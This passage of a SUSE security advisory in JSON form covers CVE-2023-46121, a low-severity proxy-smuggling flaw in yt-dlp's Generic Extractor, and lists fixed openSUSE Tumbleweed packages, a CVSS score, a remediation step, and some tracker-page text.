"text": "yt-dlp is a youtube-dl fork with additional features and fixes. The Generic Extractor in yt-dlp is vulnerable to an attacker setting an arbitrary proxy for a request to an arbitrary url, allowing the attacker to MITM the request made from yt-dlp\u0027s HTTP session. This could lead to cookie exfiltration in some cases. Version 2023.11.14 removed the ability to smuggle `http_headers` to the Generic extractor, as well as other extractors that use the same pattern. Users are advised to upgrade. Users unable to upgrade should disable the Ggneric extractor (or only pass trusted sites with trusted content) and ake caution when using `--no-check-certificate`.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2023-46121",
"url": "https://www.suse.com/security/cve/CVE-2023-46121"
},
{
"category": "external",
"summary": "SUSE Bug 1217153 for CVE-2023-46121",
"url": "https://bugzilla.suse.com/1217153"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 3.7,
"baseSeverity": "LOW",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:N/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python310-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python311-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:python39-yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-bash-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-fish-completion-2023.11.16-1.1.x86_64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.aarch64",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.ppc64le",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.s390x",
"openSUSE Tumbleweed:yt-dlp-zsh-completion-2023.11.16-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2024-06-15T00:00:00Z",
"details": "low"
}
],
"title": "CVE-2023-46121"
}
]
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
Loading…